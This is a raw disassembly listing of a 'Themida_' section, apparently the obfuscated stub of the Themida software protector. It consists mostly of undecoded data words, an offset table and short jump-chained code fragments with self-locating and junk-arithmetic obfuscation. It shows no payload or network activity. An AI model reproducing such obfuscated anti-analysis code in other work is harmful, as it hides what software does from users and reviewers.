		dd 0E9D2BFh, 0F000008h,	78Eh, 0C78B6000h, 61ADD180h, 0F06F883h
		dd 5785h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1A04h, 0C3574700h, 0A2B796B1h, 8B711681h, 418D89D7h
		dd 8D061B2Dh, 1B4879BDh, 519D8B06h, 80061B1Fh, 0D5E9C6EAh
		dd 0E9000000h, 14h, 777A9CECh, 0C7C3EEh, 5B2631C3h, 0D1F9E977h
		dd 0D969C902h, 0F07F883h, 3085h, 998D8900h, 8D061B0Eh
		dd 1B145DBDh, 1810F06h,	0F5000000h, 91DFBB66h, 14DE9h
		dd 0DEB70F00h, 5E8h, 471E2000h,	0BD890F87h, 61B0619h, 0AF8835Bh
		dd 7A850Fh, 6A0000h, 3E857h, 5F200000h,	7C895FC3h, 44810424h
		dd 1B0424h, 57470000h, 129031C3h, 0D242EBEBh, 0F9BD89CBh
		dd 8D061B13h, 1B4A71BDh, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1804h, 0C3564600h, 0EC756771h, 0CE860D2h
		dd 0CA000000h, 33BDF8B1h, 89BFE7E4h, 8B271494h,	1B304985h
		dd 9D895A06h, 61B2A0Dh,	6E961h,	0B5290000h, 61B0005h, 55006A57h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1A04h, 0C3554500h
		dd 9E604F5Ch, 66E7A2D5h, 8160DF8Bh, 2F08A2D0h, 99A3BF14h
		dd 0B9617DDFh, 5AFE18A4h, 66DABF0Fh, 3F83D18Bh,	3E840F00h
		dd 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1B042444h, 46000000h, 0F01DC356h, 0B65FB824h, 0F30C331h
		dd 104D8589h, 0C9D1061Bh, 25F19D31h, 0F47061Bh,	0BBE9D8BFh
		dd 8BFFFFFFh, 6A5FD9h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1C0424h, 51410000h, 79C69DC3h, 7E3A8A17h, 0B70FC55Ch
		dd 38E0FD8h, 0F000000h,	0BD89D9BFh, 61B4C6Dh, 38C0Fh, 0BF0F0000h
		dd 0BB6660D8h, 0BD89A602h, 61B2939h, 0F98D8D61h, 0BB061B1Bh
		dd 17537014h, 2FBDB5FFh, 8166061Bh, 8DEF0FCBh, 1D9F7C85h
		dd 0BD8D5006h, 61B5490h, 6EFC8D8Dh, 0BCB8061Bh,	2B54831Ah
		dd 0D00730CFh, 754947C8h, 80B58DF8h, 8D061B6Eh,	1B6F148Dh
		dd 0F3CF2B06h, 0B8C933A4h, 0
		dd 4674C00Bh, 1A01BD83h, 7400061Bh, 9595FF06h, 8B061B1Ah
		dd 1B4C6DB5h, 7C858D06h, 0FF061D9Fh, 0CA858DD0h, 0FF061B40h
		dd 5585C7D0h, 1061B14h,	8B000000h, 1B10D9A5h, 0DDB58B06h
		dd 8B061B13h, 1B1A61ADh, 0C2C03306h, 0DB81000Ch, 3FA80ADDh
		dd 2FB98D89h, 0B529061Bh, 61B03A9h, 0D91BD83h, 0F00061Bh
		dd 2B84h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1704h, 0C3574700h, 0FA7AE1CBh, 3D195FFh, 9D29061Bh
		dd 61B0661h, 2FA1BD83h,	0F00061Bh, 12285h, 39852900h, 83061B30h
		dd 1B1CD5BDh, 850F0106h, 10Fh, 15BD83F9h, 61B11h, 101840Fh
		dd 0B70F0000h, 0C0BD83D6h, 61B4Ch, 0F1840Fh, 9CBA0000h
		dd 8D1D939Ah, 1D9F7C85h, 8BDA8B06h, 1B4C6DB5h, 0FFC8B706h
		dd 49958BD0h, 0C6061B17h, 1B239D85h, 0BD015406h, 61B0BADh
		dd 4E8h, 4EBEF400h, 50F88AFFh, 448B5B51h, 0E9520424h, 0Dh
		dd 0B8D3CFC7h, 0FE3A0AE4h, 55D1912h, 8B5A1Fh, 89D18B66h
		dd 66042444h, 6A58D68Bh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 14042444h, 40000000h, 0F2CC350h, 0B5FFD9B7h
		dd 61B2BF9h, 8E9h, 0A9E0C700h, 6768B3ABh, 0E2805032h, 858D5BFFh
		dd 61B391Fh, 1D7BB66h, 0C381D0FFh, 71F29BC1h, 7E8h, 7F136A00h
		dd 34B1CECh, 0BDD8D89h,	6A5B061Bh, 1958B00h, 29061B2Bh
		dd 1B2AF58Dh, 8BFF6A06h, 1B03A19Dh, 0B7D0FF06h,	11B5FFD1h
		dd 89061B00h, 1B168985h, 0BD95FF06h, 2B061B2Fh,	1B10619Dh
		dd 0B5958B06h, 8B061B22h, 1B4C6DB5h, 0A1BD2906h, 0C3061B25h
		dd 0DE8h, 6CE3500h, 0C5912D1Eh,	0B4C8AD15h, 0F281AA49h
		dd 0D451426h, 31B58B5Ah, 6A061B30h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 0F07EC352h
		dd 0FF60BDFh, 3D84h, 0AD9D8B00h, 0C6061B25h, 6A0006h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h
		dd 132D00C3h, 0E9CA3EA8h, 6, 68747169h,	0BF0F002Eh, 0CAABADBh
		dd 8589218Ch, 61B4C75h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 17h, 92C35747h, 8B689087h,	0F883D9h, 3EA840Fh
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h
		dd 52420000h, 816AC8C3h, 3189CC0Eh, 1B02CDB5h, 0B806h
		dd 9D010000h, 61B2A81h,	0F00F883h, 0EC84h, 52006A00h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1504h, 0C3524200h
		dd 13E8E162h, 72000000h, 0A965F0C4h, 6D57AA66h,	4D93EA9h
		dd 0DAEA4A0Ch, 0BF0FC590h, 0F8835BD9h, 74850F02h, 6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1D042444h
		dd 41000000h, 8AC3C351h, 0DADB2C7Eh, 0E0493A07h, 5830Fh
		dd 81660000h, 0FB550F3h, 68Fh, 0F9958900h, 31061B06h, 1B22B59Dh
		dd 0F0858D06h, 29061B42h, 1B2F0195h, 9292D06h, 840F0000h
		dd 6, 2E65958Bh, 5150061Bh, 895ADA8Bh, 0B5892404h, 61B29D5h
		dd 0AD8D31C3h, 0B8061B25h, 0
		dd 0E599503h, 0E9E9061Bh, 6A000002h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 0E599C355h
		dd 8919E5F9h, 1B008195h, 1B806h, 6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1D0424h, 51410000h, 799797C3h
		dd 0C0E7AF96h, 296DA65Dh, 1B2939B5h, 0F5BD8D06h, 6A061B42h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 15042444h
		dd 43000000h, 0CB7DC353h, 0E840Fh, 9600000h, 1B13D595h
		dd 35852B06h, 61061B1Fh, 0FFE8B60h, 0E961C0B7h,	0FCh, 1CEDBD89h
		dd 0F883061Bh, 81850F02h, 81000000h, 36F7C4EAh,	0EDBD8D39h
		dd 6A061B44h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1C042444h, 47000000h, 6951C357h, 9FCEEC31h, 0E82BFE65h
		dd 13h,	5D065FC8h, 9415D25Ch, 98594C10h, 0F4B03EEEh, 8137AE68h
		dd 26DDCAE2h, 9D895B17h, 61B010Dh, 93E9h, 55006A00h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h
		dd 904EA4A5h, 8BE43BA9h, 0B9E680D1h, 0F03F883h,	4A85h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1C04h
		dd 0C3564600h, 0EAF838E9h, 771DB2E0h, 0B8A0F6Bh, 0F000000h
		dd 582h, 55BBBA00h, 8166160Fh, 8D8045F3h, 1B4681BDh, 0D6B70F06h
		dd 1BE9h, 8342B300h, 850F05F8h,	10h, 28F0Fh, 0C7B60000h
		dd 0A2E9h, 74C78000h, 3D858957h, 0B9061B2Eh, 5AFE18A4h
		dd 269958Bh, 3F83061Bh,	84840F00h, 6A000000h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h
		dd 45E6C351h, 17134232h, 99D89B4h, 30061B02h, 148A0F0Fh
		dd 0E9000000h, 0Fh, 0A74375CCh,	85916D0Fh, 0FE7F950Ch
		dd 0D1C9BC9Dh, 419D8BC9h, 47061B0Eh, 1B859589h,	9FE9061Bh
		dd 6AFFFFFFh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1C042444h, 45000000h, 0D5D1C355h, 0FB1CBCBh,	56CB86D7h
		dd 5BD2B70Fh, 83D18B66h, 850F05F8h, 0ACh, 10E8h, 9B4E3100h
		dd 58ACF4A4h, 0CD0A29F0h, 76166CC3h, 0D1952B43h, 5A061B2Dh
		dd 6AD98C66h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1D042444h, 47000000h, 6187C357h, 0B59310Ch, 66D0B441h
		dd 0F04C1F6h, 4685h, 7D8D8900h,	0B8061B29h, 0
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 6FC35646h
		dd 7BE89E3Dh, 9589FDFDh, 61B1839h, 27E9h, 8820F00h, 57000000h
		dd 2C698D89h, 8B5B061Bh, 1B297985h, 0FFE78006h,	4290BA53h
		dd 0FF5B7412h, 0CED280E0h, 62ACBA66h, 2FBDBD83h, 0F00061Bh
		dd 14785h, 0EB816600h, 56501BB4h, 800F60h, 53000000h, 895A615Fh
		dd 9D8B2404h, 61B0E55h,	85C6E0B6h, 61B239Dh, 52006A45h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1A04h, 0C3524200h
		dd 0A719AC63h, 0E887FDF5h, 4, 8E726969h, 6B59BB66h, 8A525050h
		dd 0F310FD0h, 681h, 0F525000h, 5A585A31h, 24448B58h, 0E9008B04h
		dd 8, 838EB0D8h, 5579A4CEh, 4244489h, 1F27BA66h, 19D0958h
		dd 81061B08h, 8DE63BEBh, 0F9B5FF6Eh, 6A061B2Bh,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h
		dd 777EC357h, 0E679C792h, 0F3812928h, 7AE465CBh, 391F858Dh
		dd 6A061Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h
		dd 53430000h, 0D90A7DC3h, 1DA51D68h, 6AD0FFF8h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h
		dd 0F3BAC352h, 71C02BA6h, 11E86E0Dh, 26000000h,	0CD3E3598h
		dd 0CC1014AFh, 4610F6Bh, 0A8404E54h, 8CD9D8Bh, 8B5A061Bh
		dd 1B1D9995h, 0BD858906h, 33061B2Fh, 1B1F459Dh,	5E95806h
		dd 4F000000h, 7C637014h, 4CC4BD83h, 0F00061Bh, 6584h, 399D8B00h
		dd 0FF061B03h, 1B0011B5h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1C04h,	0C3554500h, 0F1FF3770h
		dd 1573757Ch, 0E9BD896Bh, 0BB061B31h, 36B5377Bh, 2FBD95FFh
		dd 6A061Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h
		dd 51410000h, 5D31E8C3h, 54AEE76Dh, 0F883EFB8h,	19850F00h
		dd 6A000001h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 16042444h, 42000000h, 6844C352h, 0BD83F9DEh,	61B0405h
		dd 81840F00h, 8B000000h, 1B066D9Dh, 0FE806h, 5B5B0000h
		dd 0F11C926Ah, 1F8A6A03h, 82350470h, 28F0F13h, 57000000h
		dd 0B5FF5B5Ah, 61B0405h, 1F299589h, 1B8061Bh, 6A000000h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1C042444h
		dd 42000000h, 0DAF5C352h, 0D1855491h, 80AF6AF6h, 0BF0F7CEEh
		dd 178E9D2h, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 160424h, 51410000h, 0D1D1E6C3h, 11B5FFh, 8166061Bh
		dd 0FF6AFDEAh, 1B0011B5h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1704h,	0C3554500h, 8AFFAA1Eh
		dd 0BDB5FFFCh, 33061B2Fh, 1B08C59Dh, 118E906h, 6A0000h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h
		dd 743699C3h, 4D9D09B7h, 66061B10h, 0DED9EA81h,	0BD83F85Fh
		dd 61B2F79h, 51850F00h,	57000000h, 5BF6CB80h, 85C639B2h
		dd 61B239Dh, 0EA81664Dh, 0A668F97Dh, 8B9A5B50h,	240481D0h
		dd 9DA2602h, 1A3D8589h,	9D29061Bh, 61B1821h, 29B5B5FFh
		dd 0BD01061Bh, 61B0B7Dh, 391F858Dh, 952B061Bh, 61B312Dh
		dd 89F5D0FFh, 1B2F7985h, 0D1B70F06h, 0B8h, 52006A00h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h
		dd 0AB28A8CDh, 4C6DBD89h, 0D68B061Bh, 840FC00Bh, 11h, 0E51BD31h
		dd 4FE9061Bh, 8B000000h, 1B181995h, 0BDB5FF06h,	8A061B2Fh
		dd 0B59D8BD5h, 8D061B21h, 1D9F7C85h, 55006A06h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1604h,	0C3554500h, 809BA3CEh
		dd 6650AED2h, 489D18Bh,	0E92DB224h, 6, 0AE201038h, 5650B83Fh
		dd 5490BD8Dh, 8D8D061Bh, 61B7972h, 8323BCB8h, 30CF2B74h
		dd 47C8D007h, 5EF87549h, 5BD8358h, 61B04h, 8D8B0674h, 61B0DC5h
		dd 0B8C933h, 0B000000h,	99840FC0h, 83000000h, 1B1A01BDh
		dd 6740006h, 1A9595FFh,	0B8061Bh, 0B000000h, 830975C0h
		dd 1B4C75BDh, 9740106h,	4C75BD83h, 7502061Bh, 6DB58B0Eh
		dd 8D061B4Ch, 1D9F7C85h, 8DD0FF06h, 1B40CA85h, 83D0FF06h
		dd 1B16C1BDh, 2F750206h, 10D9A58Bh, 858B061Bh, 61B0405h
		dd 0C7240489h, 1B145585h, 106h,	71B58B00h, 8B061B4Ch, 1B1A61ADh
		dd 1B806h, 0CC20000h, 0C700EB00h, 1B145585h, 106h, 0D9A58B00h
		dd 8B061B10h, 1B13DDB5h, 61AD8B06h, 33061B1Ah, 0CC2C0h
		dd 0D91BD83h, 7400061Bh, 0D1BD830Fh, 61B03h, 95FF0674h
		dd 61B03D1h, 4C6DB58Bh,	6AC3061Bh, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 15042444h, 42000000h, 0A46AC352h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 2BC35040h
		dd 49D5BFE3h, 0E907A129h, 0Eh, 53C6D74Fh, 4D4A0130h, 9230EE52h
		dd 0D22B64BAh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 18h,	0E1C35141h, 0FB3F67CBh,	35C38166h
		db 63h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	edi
		push	edx
		push	esi
		mov	edi, [ebp+8]
		xor	eax, eax
		jmp	short loc_534FD1
; ---------------------------------------------------------------------------

loc_534FCF:				; CODE XREF: Themida_:00534FD4j
		inc	eax
		inc	edi

loc_534FD1:				; CODE XREF: Themida_:00534FCDj
		cmp	byte ptr [edi],	0
		jnz	short loc_534FCF
		xor	ecx, ecx
		mov	edi, [ebp+8]
		jmp	short loc_535000
; ---------------------------------------------------------------------------

loc_534FDD:				; CODE XREF: Themida_:00535002j
		xor	edx, edx
		mov	dl, [edi]
		sub	dl, 30h
		mov	esi, eax
		dec	esi
		push	eax
		mov	eax, edx
		push	ebx
		mov	ebx, 0Ah
		jmp	short loc_534FF5
; ---------------------------------------------------------------------------

loc_534FF2:				; CODE XREF: Themida_:00534FF8j
		mul	ebx
		dec	esi

loc_534FF5:				; CODE XREF: Themida_:00534FF0j
		cmp	esi, 0
		ja	short loc_534FF2
		pop	ebx
		add	ecx, eax
		pop	eax
		inc	edi
		dec	eax

loc_535000:				; CODE XREF: Themida_:00534FDBj
		or	eax, eax
		jnz	short loc_534FDD
		mov	eax, ecx
		pop	esi
		pop	edx
		pop	edi
		pop	ecx
		leave
		retn	4
; ---------------------------------------------------------------------------
		dw 958Bh
		dd 61B2EF9h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 14h,	34C35040h, 0F3D907BAh, 0E9C18B3Bh, 21B72h, 59C08Eh
		dd 59C580h, 0
		dd 2580028h, 59C580h, 258003Fh,	12FF68h, 246h, 2, 1, 4
		dd 0FA37D4F5h, 5 dup(0)
		dd offset word_53A56E
		dd offset aNhwi		; "­hWi"
		dd offset dword_53D68C
		dd offset byte_5398FD
		dd offset word_54036A
		dd offset word_538E0A
		dd offset byte_537ACD
		dd offset byte_538353
		dd offset dword_5416E8
		dd offset byte_538543
		dd offset byte_538857
		dd offset byte_5371D5
		dd offset word_53CE9A
		dd offset word_54035A
		dd offset dword_53F234
		dd offset byte_540CB3
		dd offset dword_5408DC
		dd offset dword_5356D0
		dd offset byte_53C5C9
		dd offset byte_535AD4
		dd offset byte_53D41B
		dd offset byte_53F81D
		dd offset byte_536ECB
		dd offset dword_537174
		dd offset byte_535A13
		dd offset dword_53A110
		dd offset word_53AA3A
		dd offset byte_5403DF
		dd offset word_536596
		dd offset dword_5388A4
		dd offset aM0Ss9	; "¬0Øé™9"
		dd offset byte_53BF9B
		dd offset dword_540B30
		dd offset word_539926
		dd offset byte_53783B
		dd offset byte_5395FB
		dd offset word_53D3DA
		dd offset byte_53B125
		dd offset byte_53A8F1
		dd offset byte_538031
		dd offset byte_538531
		dd offset byte_536C95
		dd offset byte_53BC1D
		dd offset byte_53B865
		dd offset word_541692
		dd offset dword_53D1E0
		dd offset byte_537A9D
		dd offset word_53CE5A
		dd offset word_53D3EA
		dd offset byte_538B0D
		dd offset word_535EBE
		dd offset dword_537494
		dd offset byte_538B99
		dd offset byte_54177D
		dd offset byte_535599
		dd offset byte_53D877
		dd offset word_53B196
		dd offset dword_535E68
		dd offset dword_537DDC
		dd offset dword_538754
		dd offset byte_53D60D
		dd offset word_540EDE
		dd offset byte_538F89
		dd offset dword_5395D4
		dd offset word_54091A
		dd offset byte_53FDA5
		dd offset dword_540370
		dd offset byte_53D3AF
		dd offset byte_53EE17
		dd offset word_541002
		dd offset word_541326
		dd offset byte_53FC71
		dd offset word_53D84E
		dd offset byte_53C1C3
		dd offset dword_53A700
		dd offset dword_53E548
		dd offset byte_53C84B
		dd offset word_5354A2
		dd offset byte_53B92D
		dd offset word_53A1E2
		dd offset byte_535B7F
		dd offset byte_53A7E5
		dd offset word_53DD1E
		dd offset dword_53E9CC
		dd offset word_53A996
		dd offset dword_539CA8
		dd offset word_5373BE
		dd offset byte_538637
		dd offset word_539D12
		dd offset dword_53CB78
		dd offset byte_53DC7B
		dd offset dword_53EA18
		dd offset byte_5409D7
		dd offset word_53C7D6
		dd offset dword_53D7B8
		dd offset byte_53DE31
		dd offset byte_53B775
		dd offset dword_535940
		dd offset word_53B522
		dd offset word_535672
		dd offset byte_538073
		dd offset byte_53DDF9
		dd offset byte_5411C7
		dd offset dword_53F578
		dd offset word_5404E2
		dd offset word_53D7C6
		dd offset byte_537561
		dd offset byte_5417CB
		dd offset word_539ACE
		dd offset byte_53C13F
		dd offset byte_5376A9
		dd offset dword_53FAF0
		dd offset byte_53DAC1
		dd offset word_541166
		dd offset word_53ED4E
		dd offset byte_53561B
		dd offset dword_53FAA4
		dd offset byte_53858F
		dd offset byte_53D69B
		dd offset dword_535AF8
		dd offset byte_53C7C5
		dd offset word_539DEA
		dd offset word_5405B6
		dd offset byte_541615
		dd offset byte_53FD83
		dd offset word_53F1B6
		dd offset byte_53E229
		dd offset byte_53B143
		dd offset word_5369AA
		dd offset byte_5377C1
		dd offset word_53EE3E
		dd offset word_539AC2
		dd offset byte_5382C3
		dd offset byte_5411A9
		dd offset word_53A42E
		dd offset dword_53550C
		dd offset byte_540B11
		dd offset byte_53870F
		dd offset dword_5359BC
		dd offset byte_53F05F
		dd offset word_5358CA
		dd offset byte_53E1C1
		dd offset byte_5374E1
		dd offset byte_53E5E1
		dd offset word_541646
		dd offset byte_5357ED
		dd offset word_53B106
		dd offset byte_5372D1
		dd offset word_53F956
		dd offset aNqPrfds	; "­Q¹¯rädé"
		dd offset word_53F65A
		dd offset byte_53A75B
		dd offset byte_54085D
		dd offset aMsxa		; "¬é•€"
		dd offset word_53C1D2
		dd offset word_54042E
		dd offset byte_5357E3
		dd offset word_53AE12
		dd offset byte_5385B3
		dd offset word_5365A6
		dd offset byte_5402BF
		dd offset word_53EE56
		dd offset byte_53CC8F
		dd offset aM0Hj		; "¬0Øh†\\"
		dd offset byte_53AB6F
		dd offset word_536FA6
		dd offset word_53665E
; ---------------------------------------------------------------------------

loc_53531C:				; CODE XREF: Themida_:00561D01j
					; Themida_:00563E78j ...
		pusha
		pushf
		cld
		call	$+5
		pop	edi
		sub	edi, 61B7E2Fh
		mov	eax, edi
		add	edi, 61B7B47h
		cmp	eax, [edi+2Ch]
		jnz	short loc_53533A
		jmp	short loc_53534D
; ---------------------------------------------------------------------------

loc_53533A:				; CODE XREF: Themida_:00535336j
		mov	[edi+2Ch], eax
		mov	ecx, 0A7h
		jmp	short loc_535349
; ---------------------------------------------------------------------------

loc_535344:				; CODE XREF: Themida_:0053534Bj
		add	[edi+ecx*4+40h], eax
		dec	ecx

loc_535349:				; CODE XREF: Themida_:00535342j
		or	ecx, ecx
		jnz	short loc_535344

loc_53534D:				; CODE XREF: Themida_:00535338j
		mov	esi, [esp+24h]
		mov	ebx, esi
		add	esi, eax
		mov	ecx, 1

loc_53535A:				; CODE XREF: Themida_:00535361j
		xor	eax, eax
		lock cmpxchg [edi+30h],	ecx
		jnz	short loc_53535A

loc_535363:				; CODE XREF: Themida_:00535E49j
					; Themida_:loc_53639Ej	...
		lodsb
		push	ebx
		mov	bl, 0CDh
		dec	bl
		not	bl
		xor	bl, 86h
		jmp	loc_535601
; ---------------------------------------------------------------------------
aAbs0v@s	db 'AéË0¢@S»',0
		align 10h
		dd 0D987CB29h, 2FF1815Bh, 0E9B0CDA0h, 155Eh, 4C381h, 1C870000h
		dd 0AC4FE924h, 0ECC00000h, 31C2E905h, 0C9800000h, 0D4B2523Fh
		dd 0C280C2FEh, 6EA809Fh, 0C1E9D128h
		db 70h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5353BB:				; CODE XREF: Themida_:00540552j
		mov	edi, 4F462171h
		jmp	loc_53AAC7
; ---------------------------------------------------------------------------

loc_5353C5:				; CODE XREF: Themida_:00539CF2j
		mov	edi, 4
		add	[esp+4], edi
		pop	edi
		mov	ebx, [esp]
		jmp	loc_535C48
; ---------------------------------------------------------------------------

loc_5353D7:				; CODE XREF: Themida_:005399B9j
		neg	edx
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 19B471D7h
		xchg	edi, ecx
		jmp	loc_536C19
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFFFF73h, 5C243487h, 0B7241C89h, 3057B58Fh, 7CEE9FDh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_535402:				; CODE XREF: Themida_:005377BCj
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_5399D8
; ---------------------------------------------------------------------------

loc_535410:				; CODE XREF: Themida_:005399EBj
		push	dword ptr [esp]
		jmp	loc_53C4F7
; ---------------------------------------------------------------------------
		dd 4B951h, 4C010000h, 5E590424h, 4C681h, 47680000h, 89000009h
		dd 0BBB82404h, 52677965h, 7965B7BAh, 7F4BE967h,	895C0000h
		dd 0C8E92414h, 81000069h, 2EFh,	243C8700h, 6624248Bh, 66240489h
		dd 66241C87h, 0F766D387h, 0AB45E9D2h, 34FF0000h, 7ED9E924h
		dd 0D8010000h, 83241C8Bh, 0D80104C4h, 7A0B4B2Dh, 6D9AE90Eh
		dd 0FF5C0000h, 34FF2434h, 0B0ECE924h, 815E0000h, 30E3B9C2h
		dd 2457294Ch, 6F32E95Ah
		db 2 dup(0)
word_5354A2	dw 57ADh		; DATA XREF: Themida_:005351B4o
		dd 14416CBFh, 81D7F767h, 5C3472EFh, 0D7EF812Bh,	0E96B1C38h
		dd 4719h, 6E7402B8h, 3FBF5753h,	2933BD1Bh, 0E6E95FF8h
		dd 29000008h, 34875FFEh, 1EE95C24h, 5700001Ah, 0D06F7CBFh
		dd 9085BA62h, 0FA019D2Fh, 2908E95Fh, 57BB0000h,	817E2A3Bh
		dd 505108C3h, 0E8CB8158h, 81239C26h, 15105C3h, 0E9DE0108h
		dd 76Dh
dword_53550C	dd 240C8B66h, 815E5456h, 4ECh, 24148900h, 4BAh,	0F1BB5300h
					; DATA XREF: Themida_:0053529Co
		dd 0F7527021h, 0A885E9DBh, 0E9290000h, 4158E981h, 0E98101FBh
		dd 6F2D4F16h, 38EE815Dh, 29559014h, 38C681CEh, 59559014h
		dd 0AF3BF57h, 13E9798Eh, 0B30000B4h, 7E19E9C1h,	89560000h
		dd 4C681E6h, 81000000h,	4EEh, 0FE7EE900h, 0ECE9FFFFh, 0E9FFFFFDh
		dd 0FFFFFDE7h
; ---------------------------------------------------------------------------

loc_53557C:				; CODE XREF: Themida_:0053C6BDj
		sub	ebx, eax
		add	ebx, 67F16E4Dh
		pop	eax
		jmp	loc_535A00
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 57241C89h, 2D3CE9h
		db 0
byte_535599	db 66h,	8Bh, 4		; DATA XREF: Themida_:00535158o
aHa		db '$h',8,0
		align 2
aSA		db 'é{a',0
		db 0
; ---------------------------------------------------------------------------

loc_5355A7:				; CODE XREF: Themida_:00536918j
		mov	ebx, [esp]
		add	esp, 4
		push	673Fh
		jmp	loc_53C855
; ---------------------------------------------------------------------------

loc_5355BA:				; CODE XREF: Themida_:0053834Ej
		sub	edi, esi
		pop	esi
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], edi
		push	dword ptr [esp+4]
		jmp	loc_53B498
; ---------------------------------------------------------------------------
		dw 815Eh
		dd 4C3h, 241C8700h, 44FFE9h
		db 0
; ---------------------------------------------------------------------------

loc_5355ED:				; CODE XREF: Themida_:00538E5Fj
		xchg	ebp, [esp]
		pop	esp
		xor	edi, ecx
		pop	ecx
		push	edi
		sub	dword ptr [esp], 38486DAFh
		jmp	loc_535A30
; ---------------------------------------------------------------------------

loc_535601:				; CODE XREF: Themida_:0053536Ej
		sub	al, 49h
		sub	al, bl
		jmp	loc_536B8F
; ---------------------------------------------------------------------------

loc_53560A:				; CODE XREF: Themida_:0053D060j
		shr	esi, 5
		jmp	loc_541432
; ---------------------------------------------------------------------------
		dw 8966h
		dd 48E92404h
		db 0FDh, 2 dup(0FFh)
byte_53561B	db 66h			; DATA XREF: Themida_:0053524Co
		dd 50240C8Bh, 2434FF54h, 969EE9h, 59CF2900h, 0EF81DFF7h
		dd 174AFD32h, 0A954E9h,	59CF0100h, 348E950h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_535642:				; CODE XREF: Themida_:0054064Cj
		push	esi
		mov	esi, 3EA8259Ch
		push	eax
		mov	eax, 5C402C1Ch
		and	eax, 11050B79h
		dec	eax
		not	eax
		jmp	loc_540698
; ---------------------------------------------------------------------------

loc_53565B:				; CODE XREF: Themida_:0053B4D0j
		add	ebp, ecx
		pop	ecx
		xchg	ebp, [esp]
		mov	esp, [esp]
		xor	bl, al
		jmp	loc_5397FD
; ---------------------------------------------------------------------------
aXsD		db '[XéÕD',0
		align 2
word_535672	dw 77FFh		; DATA XREF: Themida_:0053520Co
		dd 2434FF1Ch, 582434FFh, 0AF0DE951h, 3C870000h,	4895C24h
		dd 3115E924h, 0F7810000h, 0C8201349h, 0E95FFB89h, 6279h
		dd 2434875Bh, 0D324248Bh, 0E99C242Ch, 0B815h
; ---------------------------------------------------------------------------

loc_5356AC:				; CODE XREF: Themida_:00537687j
		add	edx, ecx
		pop	ecx
		jmp	loc_53FD95
; ---------------------------------------------------------------------------

loc_5356B4:				; CODE XREF: Themida_:0053C640j
		sub	bl, 9Eh
		sub	bl, al
		push	edx
		mov	dl, 28h
		xor	dl, 72h
		dec	dl
		add	dl, 45h
		add	bl, dl
		pop	edx
		pop	eax
		movzx	eax, al
		jmp	loc_535E46
; ---------------------------------------------------------------------------
dword_5356D0	dd 0BE5651ADh, 2C5F16D4h, 3D00ABB9h, 5EF13175h,	1936BA52h
					; DATA XREF: Themida_:005350C4o
		dd 0E2C13AE1h, 7E2C104h, 0AED3E9h
		db 0
; ---------------------------------------------------------------------------

loc_5356F1:				; CODE XREF: Themida_:00535F52j
		add	ebx, 0A3AA935Eh
		push	edi
		mov	edi, 751402BDh
		add	edi, 61AC489Bh
		or	edi, 52063F53h
		and	edi, 5E0D0E5Fh
		or	edi, 2A6A3F3Bh
		jmp	loc_538BEE
; ---------------------------------------------------------------------------
		dw 3159h
		dd 0F7415AD1h, 0FC4DE9D9h, 38E9FFFFh, 81FFFFFCh, 0B7077E3h
		dd 3CE9557Bh, 0BD000082h, 4, 875DE901h,	248B240Ch, 62A2E924h
		dd 87B10000h, 8B66C830h, 9868240Ch, 89000042h, 5B54241Ch
